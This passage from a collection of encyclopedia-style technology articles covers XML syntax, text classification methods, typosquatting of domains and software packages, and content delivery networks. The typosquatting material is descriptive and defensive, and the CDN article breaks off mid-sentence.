\n\nAll XML elements must be properly **nested** and not overlap. For example, `<b><i>Hello world!</b></i>` is incorrect since `</i>` must come before `</b>`. A **root element** is a must in all XML documents. This implies that elements can't be siblings at the top level. They must be enclosed with a parent root element. Each element can have only one parent. \n\nAttribute values must always be quoted. For example, `<note data=05/05/05>` should be corrected as `<note data=\"05/05/05\">`. Whitespaces are significant in XML. Tag names must not contain spaces. They should not start with a number or punctuation but can start with an underscore. \n\n\n### What are some other XML constructs worth knowing?\n\n**Comments** in XML start with `<!--` and end with `-->`. Occurrence of `--` inside comments is invalid. For example, `<!-- declarations for <head> -->` is a well-formed comment and `<head>` is not interpreted as a start tag. \n\n**Processing Instructions (PIs)** pass useful information to applications. They start with `<?` and end with `?>`. For example, `<?xml-stylesheet href=\"person.css\" type=\"text/css\"?>` tells a web browser to apply the specified stylesheet. \n\n**Character Data (CDATA)** is a section of element content marked for the parser to interpret as character data. In other words, CDATA content is not interpreted as markup. Hence, any character can be included in CDATA content. It can be used to embed an XML document within another. It's one method to ensure that an XML document is well-formed. CDATA section starts with the string `<![CDATA[` and ends with the `]]>`.  \n\n\n### What's a typical XML processing pipeline?\n\nThe processor takes an input XML pipeline document and execute pipeline processes. An XML pipeline document specifies the processes to be executed in a declarative manner. One can use multistage processing pipeline in which XML components are processed sequentially or in parallel. The output of one stage of processing is the input of another stage of processing. One can write a pipeline document that defines the inputs and outputs of the processes. The figure shows a possible pipeline sequence. \n\nA typical XML processing pipeline parses the input XML documents, then validates those documents and then transforms the documents. \n\n\n### What are the differences between XML and HTML?\n\nHyperText Markup Language (HTML) is a static markup language used to create web pages and web applications. Like XML, HTML has a hierarchy of nested elements and attributes. However, HTML's main concern is how documents are displayed on a web browser. XML's main concern is how information is organized. \n\nXML has syntax but no semantics. HTML has both. For example, `<h1>` tells web browsers to render the content as a header, perhaps in a larger font size and bolder weight. Similar semantics are missing in XML. Semantics are imposed by applications and not by XML parsers.\n\nHTML tags are all well-defined and limited to the web. XML can be extended and used in any application. Data architects and developers can create tag names. Businesses can use XML to integrate information flows across systems. \n\nA web browser parsing HTML is more tolerant of errors. It may ignore overlapping tags, case mismatch of tag names, missing end tags or missing quotes around attribute values. XML parses are generally not tolerant of errors. They expect well-formed documents. \n\n\n### What are the shortcomings of XML?\n\nXML is a **verbose** language. Developers need to type opening and closing tags while writing XML documents. It doesn't support array data types. Repetition is a major disadvantage. Every element/attribute name has to be explicitly written for every element/attribute instance. Many web developers choose JSON over XML due to its lack of terseness. \n\nDue to its verbosity, XML impacts **performance**: more disk storage, more bandwidth to transfer XML documents, and more memory consumption and longer time to process. The choice of character encoding can increase the size. For example, integer value 15383 needs only 2 bytes in binary but might need 5-20 bytes in text form. Unicode UCS-4 encoding requires 4 bytes for each character. \n\nSince XML documents can refer to external files, this presents a **security risk** apart from the performance impact due to slow network connections. \n\nXML has **no semantics**. Each particular XML tag has to define what its elements and attributes mean. XML doesn't predefine anything for them. One needs to write application code (Java, Python, etc.) and their metadata (in `*.xml`) separately. It diminishes the readability of application code. \n\n\n### What are other W3C technologies closely related to XML?\n\nW3C technologies closely related to XML include:\n\n    + **XML Schema Definition (XSD)**: It specifies how to formally define the elements in an XML document.\n    + **Extensible Stylesheet Language Transformations (XSLT)**: It's used to convert XML into other document formats such as HTML for web pages, plain text or XSL-FO, which further may be converted into other formats such as PDF, PostScript and PNG.\n    + **XML Path Language (XPath)**: It's used to address parts of an XML document. It can be used by both XSLT and XPointer.\n    + **XML Query (XQuery)**: It's a standardized language for combining documents, databases and web pages. It can replace complex Java or C++ programs with a few lines of code.\n    + **XML Pointer (XPointer)**: It's a W3C Recommendation that allows links to point to specific parts of an XML document. It uses XPath expressions to navigate.\n    + **XSL Formatting Objects (XSL-FO)**: It's used for the transformation and formatting of XML data. It's most often used to generate PDF files.\n\n\n## Milestones\n\n1995\n\nSome **SGML (Standard Generalized Markup Language)** practitioners experienced with the new World Wide Web (WWW) believe that SGML can offer solutions to some of the upcoming problems on the Web. Dan Connolly joins W3C and adds SGML to the list of W3C's activities. \n\n1998\n\n**XML 1.0** becomes a World Wide Web Consortium (W3C) recommendation. XML is a profile of SGML (ISO 8879). It adopts many aspects of SGML: separation of logical and physical structures, separation of data and metadata, separation of representation from processing instructions, mixed content, DTD-based validation, etc. \n\nJan  \n2000\n\n**Extensible HyperText Markup Language (XHTML) 1.0** becomes a World Wide Web Consortium (W3C) Recommendation. Essentially, XHTML reformulates HTML as XML so that standard XML parsers can parse web content. This enables web developers and content providers to define new elements and attributes. Content can be transformed to suit its context. User agents would become more interoperable. In reality, later years show that XHTML doesn't achieve wide adoption. \n\n2006\n\n**XML 1.1** becomes a W3C Recommendation. Many improvements are standardized in this edition, such as support of Unicode line separator character `#x2028` and release of a set of constraints called \"full normalization\" on XML documents.","meta":{"title":"XML","href":"xml"}}
{"text":"# Text Classification\n\n## Summary\n\n\nAbundant textual data accumulates in any eco-system, unstructured and in diverse formats. To extract trends or meaningful insights from it, we need to sort data into different categories. Text classification is a simple, powerful analysis technique to sort the text repository under various tags, each representing specific meaning. Typical classification examples include categorizing customer feedback as positive or negative, or news as sports or politics.\n\nMachine Learning is used to extract keywords from text and classify them into categories. Text classification can be implemented using supervised algorithms, Naïve Bayes, SVM and Deep Learning being common choices. \n\nText classification finds wide application in NLP for detecting spam, sentiment analysis, subject labelling or analysing intent. Automating mundane tasks makes search, analysis and decision making faster and easier. Text classification is very effective with historical data. It can also be used for real-time textual input analysis.\n\n## Discussion\n\n### What's the scope of text classification?\n\nThe scope of text classification is at document level, paragraph level, sentence level, or even sub-sentence level. In some applications we may assign one or more classes to an entire document. In other applications, we may assign a class to each paragraph or sentence in the document. \n\nAn algorithm may be designed to accept syntax and semantic information at a sentence level. This is then used to classify the document. While sentence-level analysis is more granular, it's limitation is that often sentence-level context can be determined only from sentences surrounding it. \n\n\n### What are the different methods to perform text classification?\n\nSome methods of text classification include the following: \n\n    + Manual classification: We could do the sorting manually like secretaries did in the olden days. Assign categories to every incoming text. Then group documents as per common categories. This method will have the best accuracy, but possible only for small quantities.\n    + Hand-crafted rules for automated classification: A domain expert defines the rules for categorization. For example, text with words \"shares, profits, equity, liabilities\" is classified into Business category. Text with words \"Messi, kick, Ronaldo, goal\" is of Football category.\n    + Machine Learning Algorithms: Supervised techniques chosen based on dataset size and number of categories.\n    + Hybrid techniques: Start with manual classification and assign categories to a small portion of the training dataset. Then apply ML algorithms to extend to the rest of the dataset.\n\n### How does text classification work?\n\nLet’s work with a supervised classifier example to classify customer feedback into one of these categories: COMPLAINT, SUGGESTION, APPRECIATION. Text may not explicitly include these words, so the categorisation has to happen based on interpretation of words present. \n\nFor the classifier to predict the correct label, it needs to ‘understand’ the essence of the text. So we train the classifier with millions of similar customer feedback texts which already have one of these labels assigned. After training, we allow the classifier to test its predictions. Once desired accuracy levels are attained, the classifier can now be used to categorise new customer feedback.\n\nWith text classification, the algorithm doesn’t care whether the user wrote standard English, an emoji, or an indirect reference (poetry, sarcasm, movie quotes). It only cares about the frequency of occurrence of particular text resulting in getting assigned to a category. Let’s say the words “Out of this world” occurs very frequently whenever a very appreciative customer feedback is present in the test dataset. The chance of a new prediction getting classified as “APPRECIATION” becomes very high now, if this phrase is encountered. \n\n\n### How do ML algorithms automate text classification?\n\n    + **Naïve Bayes**: Its common application is in spam filtering, to classify incoming emails/SMS as spam or not-spam. We apply conditional probability model of Baye’s theorem to answer “What is the probability the message is spam given occurrence of word X?”. We assume that samples are independent and identically distributed. Though this is often untrue, the prediction accuracy is reasonably good, especially for small sample sizes.\n    + **Support Vector Machines**: For the same spam filtering, SVM offers better accuracy in results than Naïve Bayes since it uses an optimization technique. However, it requires more computational resources. SVM builds an optimal separating hyperplane which maximises the margin separating the categories (Spam/Not Spam in our case). Unlike Naive Bayes, SVM is a non-probabilistic algorithm.\n    + **Deep Learning**: Works well when datasets are huge in size and continuously growing. For spam filtering on a large scale (huge dataset, large number of categories), RNN (LSTM in particular) would be highly effective as it gives weightage to the sequence of words appearing in the text. Convolutional Neural Networks are a good choice for hierarchical document classification to recognize patterns in the text sequence.\n\n### How should I prepare the data for text classification?\n\nData preparation for ML-based text classification involves the following:\n\n    + Tokenization: Identifying words, symbols, emojis, hyperlinks, based on known delimiters and format rules.\n    + Word normalization: Reduce derived words into their root form (developmental becomes develop, encouragement becomes encourage).\n    + Text and feature encoding: ML models require numeric features and labels to provide a prediction. So we create a data dictionary to map each word/feature in the document and each category label to a numerical ID. (Example category codes: COMPLAINT -> 0, SUGGESTION -> 1, APPRECIATION -> 2).\n    + Feature representation: Every feature (category) is represented as a Word Count Vector (giving frequency count of each feature) or a TF-IDF vector (Term Frequency/Inverse Document Frequency) representing relative importance of a term in a document. As an example, Microsoft Azure has *Feature Hashing* module to convert features to integers for input into model.\n    + Word/Document embedding: Every row in the dataset is an entire document, represented as a dense vector. The word position within the vector is learned from text and based on the surrounding words. Word embeddings can be trained using the input corpus but pre-trained embeddings (Glove, FastText, and Word2Vec) are available.\n\n### How should I select features for text classification?\n\nFeature selection involves picking a small but optimal subset of terms from the training dataset to use as features (categories) during text classification. Since vocabulary size reduces, computational efficiency during training improves that's critical for algorithms other than Naïve-Bayes. Feature selection also helps minimise noise features, which increase classification error when included.\n\nFeature selection is essentially a process of dimensionality reduction. Contrary to belief that more categories means better classification, weaker models (fewer but well-differentiated features) deliver better accuracies when training data is limited. Feature selection methods are classified into 4 types:\n\n    + Filter: A pre-processing step suitable for any ML algorithm. Statistical tests are done for features and their correlation with the outcome variable. Features are chosen based on test scores. Feature/Response: continuous: Pearson’s Correlation.\n    + Wrapper: Based on greedy search algorithms, they choose optimal features for a specific ML algorithm. Example: Step forward/backward feature selection (Add / remove features 1 by 1 in round-robin fashion from feature set and evaluate performance)\n    + Embedded: Feature selection is part of ML algorithm training phase (LASSO, Ridge Regression to reduce overfitting).\n    + Hybrid: Mix of filter and wrapper methods.\n\n### What are the methods to evaluate the effectiveness of text classification?\n\nCross-validation and hold-out tests are common evaluation methods to deduce how often a prediction was right (true positives, true negatives) and when it made a mistake (false positives, false negatives).\n\n    + N-fold cross-validation: Split dataset into N folds. Runs test N times. At a time, use one fold of data as test set, remaining N - 1 folds of data as training sets. Classification accuracy is average of results in N runs.\n    + Hold-out test: Divide dataset into training and test subsets. Varied splits will result in varied results and accuracy, especially for small datasets. Paired t-test can be used to measure significance in accuracy differences.Well-known performance metrics used in assessment include accuracy, precision, recall and F1 score. Classification error (1 - Accuracy) is a sufficient metric if the percentage of documents in the class is high (10-20% or higher). However for small classes, always saying ‘NO’ will achieve high accuracy, but make the classifier irrelevant. So precision, recall and F1 are better measures. \n\nOther evaluation metrics include Matthews Correlation Coefficient (MCC), ROC and AUC. \n\n\n### What are the factors behind the choice of an ML algorithm?\n\nThere are some common pointers that can be followed to determine whether to choose an supervised or unsupervised algorithm. The choice depends on the dataset size, accuracy required, training time or resources available.\n\nFor smaller datasets with humanly identifiable or limited categories, choose a Supervised algorithm. For impossibly huge, ever growing datasets, or too many categories, choose Unsupervised algorithm or ANN model. While text classification is usually considered a supervised task, sometimes the term has been used for unsupervised tasks. Text clustering is an example that identifies the categories before assigning them to documents. \n\nCalculate the ratio number of samples/number of words per sample. If this ratio is less than 1500, tokenize the text as n-grams and use a simple multi-layer perceptron (MLP) model to classify them. If the ratio is greater than 1500, tokenize the text as sequences and use a CNN model to classify them. \n\n\n### How to adapt binary text classification techniques to multi-class problems?\n\nMore classes means higher model complexity. For a fixed dataset, binary classification gives better accuracy than multi-class because of clear decision boundaries. It’s a common practice to reduce multi-class instances into binary classifiers before running ML algorithms.\n\nLet’s take a training set with 5 classes: \"Class-A\", \"Class-B\", \"Class-C\", \"Class-D\", \"Others\". We relabel data under \"Class-ABCD\" accumulating labels \"Class-A\", \"Class-B\", \"Class-C\" and \"Class-D\". Now it’s a binary-classification problem with just 2 classes “Class-ABCD”, “Others”.\n\nA popular problem reduction technique called OAA (One-Against-All) is employed for this: \n\n    + For each of the 5 classes in our dataset, we create 5 new datasets D1…D5 (one per class)\n    + For each dataset Di, we mark training data of the corresponding class i as positive and all others as negatives (D2 : Class-B -> Positive, All others -> Negative)\n    + We train 5 binary classifiers, each on their own dataset Di\n    + We get predictions from all binary classifiers. Then choose the class with positive classifier output, breaking ties randomly.An undesirable consequence is class imbalance. As negative examples far outweigh positives, learning skews towards the negative class. This is prevented by introducing relative weightages for each dataset. \n\n\n### What support is available in various programming languages and libraries?\n\nBriefly, we list some available resources:\n\n    + Python: Scikit-Learn: sample datasets, feature encoding, Ppediction and evaluation\n    + TensorFlow: TF-Hub: training, prediction, evaluators\n    + Java: Stanford CoreNLP, MALLET, WEKA, Lingpipe libraries\n    + R: OpenNLP, RwekaRandolphVI maintains a list of useful neural network Python implementations for Multi-Label Text Classification. This includes CNNs, RNNs, and attention networks. \n\n## Milestones\n\n1960\n\nSince the 1960s, the concept of classifying documents into categories exists as a part of library sciences. Several automated library management tools include this feature. \n\n1990\n\nIn the 1990s, text classification gains importance as an important NLP function. With the availability of larger datasets and more categories, researchers apply ML-based classification. For text classification, Support Vector Machines (SVM) and Maximum Entropy Models (MEMs) are applied in the late 1990s. By the end of the decade, text classification is seen a combination of information retrieval and machine learning. It's also seen as an application of **text mining**. \n\n2000\n\nIn the early part of 2000s, researchers look at multi-label text classification. Unlike topic modelling where topic candidates are ranked, text classification requires a definite set of topics. Approaches include EM algorithm, Parametric Mixture Models (PMM) and multi-labelled MEMs. \n\n2004\n\nPang and Lee publish a paper on sentiment classification based on Machine Learning techniques. They propose a 'subjectivity detector' that would filter out the sentences labelled 'subjective' in a document and employ text categorization techniques on the resulting data. They implement Naive Bayes and SVM to find minimum cuts in a graph. They claim an accuracy of 86.4% on the NB polarity classifier. \n\nOct  \n2014\n\nCNNs are common for image processing but not in NLP. Yoon Kim presents the idea of using a CNN to classify text in a paper titled *Convolutional Neural Networks for Sentence Classification*.","meta":{"title":"Text Classification","href":"text-classification"}}
{"text":"# Typosquatting\n\n## Summary\n\n\nTyposquatting is the malicious practice of registering domain names that closely resemble popular brands and businesses. Attackers do this in the hope of deceiving users. A user might mistype the web address and land up on a malicious site. The site may show harmless ads. More seriously, it might look like the genuine site. The user may then perform transactions and thereby disclose sensitive information. \n\nTyposquatting can also be done on software packages. Developers might unknowingly download and install malicious packages. This compromises the security of their applications. \n\nTyposquatting could be combined with other cyberattacks such as phishing. Domain owners, developers and users have to take precautions to protect themselves against typosquatting.\n\n## Discussion\n\n### What aspects of software can be attacked by typosquatting?\n\nTyposquatting can occur on **domain names**. This is sometimes called *DNS Typosquatting* or *URL hijacking*. Suppose a user wishes to visit `live.com` but mistypes this as `livve.com`, `live.cm` or `liv.ecom`. This is not exactly harmful if such domains don't exist. However, attackers can register these domains and thereby redirect requests meant for `live.com` to their own servers. This compromises the intended client-server interaction. \n\n**Software supply chain** is about how software packages are distributed by developers and downloaded by other developers for use in their applications. A developer wishing to use a package may mistype the name and thereby install the wrong package. The wrong package has been shared by the attacker. Thus, instead of installing `atlas_client`, the developer may install `atlas-client` that contains malicious code. \n\nThus, broadly we have domain typosquatting or package typosquatting. In either case, typosquatting makes sense for highly popular domains or packages. Even if a small proportion of users make a typo error, the attackers stand to benefit a great deal.\n\n\n### Which are some variations or techniques in typosquatting?\n\nLet's assume that the correct domain name is \"cisecurity.org\". Here are some typosquatting variations, some of which can be easily mistyped by users: \n\n    + **Omission**: \"csecurity.org\" where the first \"i\" is omitted.\n    + **Addition**: \"cissecurity.org\" where an extra \"s\" is added.\n    + **Substitution**: \"cisecurlty.org\" where \"l\" fills in for a \"i\". Another example is \"cisecurity.com\".\n    + **Transposition**: \"csiecurity.org\" where \"i\" and \"s\" positions are swapped.\n    + **Hyphenation**: \"ci-security.org\" where there's an extra hyphen.These variations can be described differently. Assuming that the domain is \"google.com\", we can have misspelling (goggle.com), extra period (goo.gle.com), confusion between numbers and letters (g00gle.com), phrasal change (googles.com), or additional words (googlesearch.com). \n\n\n### Which are some advanced typosquatting techniques?\n\nHere are some advanced typosquatting techniques: \n\n    + **Homograph Attacks**: This relies of visual similarity. For example, uppercase \"i\" in sans-serif font looks similar to \"l\". Another example is \"у\", which is actually the Cyrillic U that looks like Latin \"y\". However, this sort of an attack is not that common.\n    + **Bitsquatting**: This relies on computer hardware to make errors at bit level. For example, \"microsoft.com\" could be typosquatted as \"mic2osoft.com\", with one bit in error (0x32 for \"2\" and 0x72 for \"r\").\n    + **Soundsquatting**: When two words sound similar but are spelled differently, users can end up picking up the incorrect one. For example, \"ate\" may be mistaken for \"eight\".\n    + **Typosquatting Cross-Site Scripting (TXSS)**: This relates to software developers who use the wrong domain name in their code. For example, they might mistype the URL of a JavaScript library that they wish to use in a HTML page. This is a series problem since every user visiting the page gets exposed to the typosquatting domain.\n\n### What harm can domain typosquatting cause to systems and businesses?\n\nPopular brands lose traffic as their users get redirected to typosquatting domains. In fact, traffic can get redirected to competitor sites. \n\nData theft can erode brand value. In 2011, variations of YouTube.com appeared and these redirected to a survey form that collected mobile numbers from unsuspecting users. The \"survey\" lured users to an SMS subscription that was charged to their phone bills. In another example, omitting a dot in an email addresses resulted in loss of 120,000 emails from Fortune 500 companies over six months. These emails contained trade secrets and invoices. \n\nTyposquatters can abuse affiliate programs and collect referral fees on behalf of genuine site owners. \n\nUsers can be tricked into downloading malware. When typosquatting sites look exactly like their genuine counterparts, users may be tricked to enter login credentials and disclose sensitive information. Some typosquatting sites are less harmful. For example, a company offering vacation packages may typosquat on the domains of major airlines and show ads for vacation packages. \n\nIt's been found that financial services, retail and critical infrastructure are industries most affected by typosquatting. \n\n\n### Which are some best practices to protect against domain typosquatting?\n\nIf you have a domain, one defensive technique is to register common variations and typo errors of that domain. \n\nImplement two-factor authentication (2FA) for the safety of your customers. Always use SSL certificates so that customers can verify site ownership. Educate your users so that they're aware of common attacks. Having a trademark gives you the option to file a case against typosquatters. Improve SEO on your site so that search engines rank it better than the typosquatted ones. \n\nAs a user, enable 2FA for better protection of your accounts. When sensitive information or money transfer is involved, it's better to verify by call before performing the online transaction. Pay attention to how domains are spelled, in URLs and email addresses. Check that site is served on HTTPS. It's equally important to check the domain name that browsers display before the URL. \n\nAvoid typing out URLs. Instead, bookmark the sites you often visit and use these bookmarks instead. In addition, you can install suitable browser plugins that warn potential typosquatting domains on mistyped URLs. \n\n\n### What tools or algorithms are available to counter domain typosquatting?\n\nDNS Twist can \"detect typosquatters, phishing attacks, fraud, and brand impersonation.\" By running *dnstwist* on your domain, you can find if it's being typosquatted. \n\nFirst released in 2006, Microsoft provides Strider URL Tracer to investigate third-party domains. This also generates typosquatted variations and scans them. \n\nSome typos are more likely than others. A probabilistic analysis helps in ranking them. Typing test tools and human-based computation games can help estimate the probabilities. For example, adjacent characters on the keyboard are more likely to be swapped. \n\nFeature engineering is an essential task when building your own detection algorithm. Features could be based on domain average TTL value, domain-IP address association, common ASNs shared by IP addresses, hit-count of domain, n-gram distribution of characters in domain name, and many more. Lot of information can be obtained from DNS records, WHOIS lookup, and even crawling the site. \n\nAlgorithms could be knowledge-based where experts identify and apply features. With sophisticated attacks, machine learning-based algorithms are more effective. They're data-driven. ML for domain typosquatting is possible due to easily available data that's collected by ISPs and network administrators. \n\n\n### What are some AI/ML approaches to detecting typosquatting domains?\n\nAmong the ML approaches are: \n\n    + **Supervised**: Relies on labelled datasets. *DomainProfiler* is an example that used 55 features along with random forest algorithm. The limitation is that labelled datasets are expensive to create.\n    + **Semi-Supervised**: Uses both labelled and unlabelled data. Graph-based inference methods such as belief propagation are used in which it's assumed that malicious hosts are most likely to communicate with malicious domains. Another approach is clustering based on co-occurrence patterns such as domain names often seen together in DNS resolver logs.\n    + **Unsupervised**: Clustering is done to identify at least two clusters of malicious or benign domains. This is then extended to identify sub-clusters based on the type of malicious behaviour.In practice, hybrid approaches are adopted to achieve better results. For example, one approach used three different feature selection methods, reduced them to a subset of features, and trained a bagging ensemble model. Two ensemble models were explored: decision tree and k-nearest neighbour. \n\nFor evaluation of these algorithms, accuracy, precision, recall, F1-score and AUC are commonly reported. \n\n\n### What harm can package typosquatting cause to applications and their users?\n\nIn software package management, typosquatting can be used to steal cryptocurrency. Malicious packages can attempt to redirect cryptocurrency payments to a wallet address of their choice. This has been seen in Ruby (via RubyGems) and JavaScript (via npm). \n\nWhen a typosquatting package is installed, it gets access to environment variables. Such packages then attempt to steal user credentials and other secrets that are usually part of environment. A well-known example of this (from August 2017) is `crossenv` typosquatting on `cross-env` at npm. In PyPI, two typosquatting packages attempted to steal GPG and SSH keys from developers. \n\nThe typical exploit is to run arbitrary code during installation. Worse still is when such an execution is done with administrative privileges. Some packages may even attempt to inject malicious code into the application's source code. \n\nA less harmful attack is to replicate the original functionality and thereby divert attribution from the original package. On npm, typosquatting package `asimplemde` does this for `simplemde`. \n\n\n### What can I do to mitigate package typosquatting?\n\nDevelopers must be more vigilant when copying and pasting package names. Use safe options when installing dependencies. For example, use the `--ignore-scripts` option when installing using npm. \n\nDevelopers should use digital signatures (using `gpg`) and checksums (using `sha256sum`) to deliver their software packages in a secure way. This prevents hackers from modifying the content to include typosquatted names. \n\nPackage repositories for their part can have checks and rules that minimize the attack surface. For example, npm requires that new packages can't match existing package names with the punctuation removed. Given `react-native`, names `react_native` and `re.a_ct-native` are not allowed. \n\nRepositories can also maintain a list of possible names with small Levenshtein distances. Administrators can be notified if there's an attempt to install one of these. In fact, server logs would contain 404 errors for non-existing packages that users typed by mistake. These can be added to the list to proactively prevent typosquatting. \n\n**SpellBound** is a tool that can be used to detect typosquatting names. It adds a runtime overhead of less than 2.5%. \n\n## Milestones\n\n1998\n\nR.C. Cumbow in The New York Law Journal uses the term **typosquatter**, probably the first published use of the term. \n\n1999\n\nSeeing the growing threat of domain typosquatting, the Internet Corporation for Assigned Names and Numbers (ICANN) introduces the **Uniform Domain Name Dispute Resolution Policy (UDRP)**. In the U.S., there's also the Anti-cybersquatting Consumer Protection Act (ACPA). \n\nJan  \n2003\n\nWhat is possibly one of the first large-scale studies, Benjamin Edelman identifies 8,800 typosquatted domains. Many of these have invalid WHOIS data, provide explicit sexual content and even prevent users from exiting the site. Many of these sites are registered to John Zuccarini, who is eventually arrested in September. \n\nMar  \n2003\n\nAs part of RFC 3490, the IETF defines Internationalized Domain Name (IDN). This allows domain names to contain alphabet-specific characters. This unfortunately opens the doors to **homograph attacks**. English domain names could be typosquatted by substituting some letters with non-Latin letters that have identical glyphs (same visual appearance). \n\n2006\n\nAn analysis of top 10,000 domains shows that 30% of all missing-dot typos come from just six domain parking services. These six account for 2995 typosquatted domains. In all, 5094 typosquatted domains are found to be active. \n\n2008\n\nBanerjee et al. observe that about 99% of all typosquatted domains use **one-character modification**. More formally, such a domain differs from the real domain by a Damerau-Levenshtein distance of one. They also propose ways to automate typosquatted domain name generation: 1-mod-inplace, 1-mod-deflate, 1-mod-inflate. \n\n2011\n\nAt the BlackHat Technical Security Conference, Artem Dinaburg reveals **bitsquatting** as a technique towards typosquatting. Random bit errors in domain names can cause computers to fetch content from bitsquatted domains. With 30 bitsquatted domains, he finds 52,317 requests from 12,949 unique IP addresses over a period of eight months. An example of this is \"www.mic2osoft.com\". Typical use is to serve ads, abuse affiliate programs or install malware. \n\n2014\n\nSzurdi et al. propose a framework to detect typosquatting domains. They start with passive data sources from which they generate possible typosquatting domain names. To obtain more information, they actively crawl WHOIS database, collect DNS data and obtain web page content. They cluster domains based on various features. Their approach is called *Yet Another Typosquatting Tool (YATT)*. \n\nFeb  \n2018\n\nOne researcher investigates package names on npm in terms of Levenshtein distance. He finds that 46% of names are at a distance of two or less. Longer the name, less likely it has a small distance to another name. Distance of one can indicate typosquatting. However, npm's preference for short names makes this hard. There are many genuine packages that have small distances: (preact, react), (bocha, mocha), and (class-names, classnames). \n\nMar  \n2018\n\nA network of malicious sites ending in \".cm\" is discovered. These sites were typosquatting on many popular \".com\" sites and attempting to trick users with fake security alerts. Four years of access logs from this network is also discovered and analyzed by security experts. They find that within the first three months of 2018, these sites got about about 12 million visits, almost 50 million visits per year. \n\nApr  \n2020\n\nPackages for Ruby (called gems) are distributed via RubyGems repository. An analysis by ReversingLabs finds more than 700 malicious gems due to typosquatting. They describe the example of `atlas_client` typosquatting as `atlas-client`. It contains `aaa.png` that's in fact a portable executable. It contains a Base64 encoded VBScript. It's designed to steal cryptocurrency by modifying wallet addresses.","meta":{"title":"Typosquatting","href":"typosquatting"}}
{"text":"# Content Delivery Network\n\n## Summary\n\n\nA Content Delivery Network (CDN) is a collection of servers located around the world that work together to deliver content to users faster by bringing it closer to them. CDNs store a copy of content in Cache Servers or Edge servers in point-of-presence (POP) locations close to end users to reduce loading time and overloading on a single origin server. \n\nAlthough a CDN does not replace the need for web hosting, it does help with content caching at the network edge, which improves website performance in ways that traditional web hosting services struggle. \n\nCDNs can cache various form of contents like web pages, image, video also live streaming without storing the entire recordings caching it as segments.\n\n## Discussion\n\n### Why do we need a CDN?\n\nA CDN is useful for websites or web applications that have a high volume of traffic and a large number of users from all over the world. Due to the higher latency in the network during transmission, visitors from all over the world will experience longer loading times because websites are hosted on a single server in a single location. By reducing page loading times, a CDN improves the user experience. \n\nThe primary goal of a content delivery network (CDN) is to reduce latency, or the delay that occurs in a website's response to a user request. CDNs help to reduce latency by distributing content across multiple servers maintained by CDN providers around the world, rather than a single server to handle website traffic. .\n\nCDNs can not only provide customers with faster loading speeds, but they can also prevent website crashes in the event of a spike in traffic. . More than 41% of the top 10,000 websites use a CDN to deliver their content, according to BuiltWith, a technology lookup tool.  \n\n\n### How do CDNs work?\n\nA Content Delivery Network (CDN) is a network of servers that distributes content from a \"origin\" server where the content is originally hosted via proxy servers that receive client requests and forward them to other edge servers located around the world. \n\nEdge servers in a CDN can be either data centres with multiple servers or Points of Presence (PoP) with a single server. These are strategically placed across multiple geographical locations, where the content is cached before being served via CDN. \n\nCaching refers to the practise of storing copies of data pulled from an origin server on edge servers. It helps the origin server in reducing traffic stress on a website by bringing edge servers closer to the users, which reduces loading time as less travel time is required to reach the user. \n\nCDN Edge servers are usually located near Internet exchange points (IXPs), which connect various internet service providers to exchange traffic. . CDN providers can save money and time by locating servers in these interconnected locations.   .\n\nEqual-cost multipath (ECMP) is one of the routing strategy that edge servers use to balance traffic and efficiently use bandwidth. \n\n\n### What are the benefits of using a CDN?\n\n \n\n    + **Improving site Reliability**: Even during common network issues such as hardware failures or network traffic congestion, CDNs can keep website content online. Usage of CDNs can avoid traffic congestion by using load balancing to distribute traffic equally across multiple servers. Some CDN providers use the anycast routing method to efficiently handle traffic and routing it to the nearest data centre with high traffic handling capabilities to avoid congestion.\n    + **Increased Security**: The use of CDNs can help to prevent various cyber attacks such as common DDoS ,in which an attacker floods a website with abnormally high traffic, overloading server and making it unresponsive .While these attacks are becoming common, Cloudflare a CDN provider, has prevented a DDoS attack with a peak of 17.2 million requests per second (rps), which is three times higher than previous records proving the security of CDN.\n    + **Scalabilty**:Because a CDN distributes the contents across many servers around the world, the website owner does not need to change the demands of the webserver based on traffic needs because the CDN handles it and scales it accordingly.\n\n### What is Push and Pull caching in CDN?\n\nWhen we talk of global CDN network, it refers to caching content at various edge server locations such that the data is available to any requesting global user. It can actually be classified into two types push and pull based on how it caches the data from the origin server. \n\nPush CDN distributes a website's content at regular intervals from the origin server to edge servers (PoPs) located all over the world. Visitors to the website are served from an edge server copy of the website. It works in the same way as prefetch  . Push CDN is ideal for low-traffic websites and files that are mostly static and do not change frequently. \n\nPull CDN, also known as Reverse Proxy, does not store the contents of a website on CDN Edge Servers until the user requests that resource for the first time. .When a user requests content from the Edge server, it contacts the origin server and obtains a copy to deliver to the user. All future requests for that content will be served from the Edge server's cache. It is best suited for smaller files such as images, javascript, and so on. \n\n\n### Could you explain some terminologies used in CDN?\n\n \n\n    + **Cache Hit**: A \"cache hit\" occurs when a user requests files from the Edge server's cache and the Edge server is able to successfully deliver them from the cache rather than the origin server.\n    + **Cache Miss**: This happens when the requested file by the user is not found in the Edge server and the request is passsed onto \"Origin Server\" to deliver it to the user. Once the origin server responds, the CDN server caches, so that subsequent requests for it results in a cache hit.\n    + **Cache hit ratio**: A count of the number of content requests that are successfully fulfilled by Edge servers. It is calculated by *Number of cache hits/(Number of cache hits + Number of cache misses) = Cache hit ratio*.\n    + **Purge**: The edge server's cached version of a file is removed, and the origin server begins delivering the newer version of the content to the edge server.\n    + **Prefetch**: It is used to provide a faster delivery experience to the user. To avoid cache misses, content that is likely to be requested by a large number of users is cached on Edge Servers.\n\n### Which should you use Multi-CDN or Single CDN?\n\nIn the Multi-CDN model, Traffic is distributed across multiple CDN providers, such as Cloudflare, Akamai, and AWS, Multi-CDN enables the combination of capacity from multiple providers and provides fault tolerance in the event of a failure.  .\n\nDifferent CDN providers will have individual Edge Servers with different infrastructure and unique features, resulting in different performance, security, and usage costs. Multi-CDN can be set up with the help of third-party providers such as NS1. They serve as CDN brokers, aggregating several CDN providers.  \n\nIn single CDN model, the users use only one CDN provider for their website, and is recommended for businesses that want to distribute their content only to specific geographic locations and do not have a global audience. It also reduces multiple DNS lookups, as opposed to Multi-CDN, which uses three DNS lookups, slowing down the initial connection to the CDN. \n\n\n### What is Request collapsing in CDN?\n\nRequest collapsing, also known as collapse forwarding, is a key feature of CDN architecture that prevents Edge servers from being overloaded by a large number of simultaneous requests to access content from the CDN while it is being cached to edge servers or is yet to be cached in the CDN, resulting in a cache miss. \n\nThe problem is known as *Thundering Herd* or *Cache Stampede*. Many large companies in the tech industry experienced outages as a result of it.  . Request collapsing helps to solve this problem by combining multiple requests for the same content into a single request.\n\nIf there is cache miss for the requested content and a second request for the same content arrives in the meantime, the second request is queued. After the file is sent from the origin server to the CDN Edge servers, it is finally delivered to 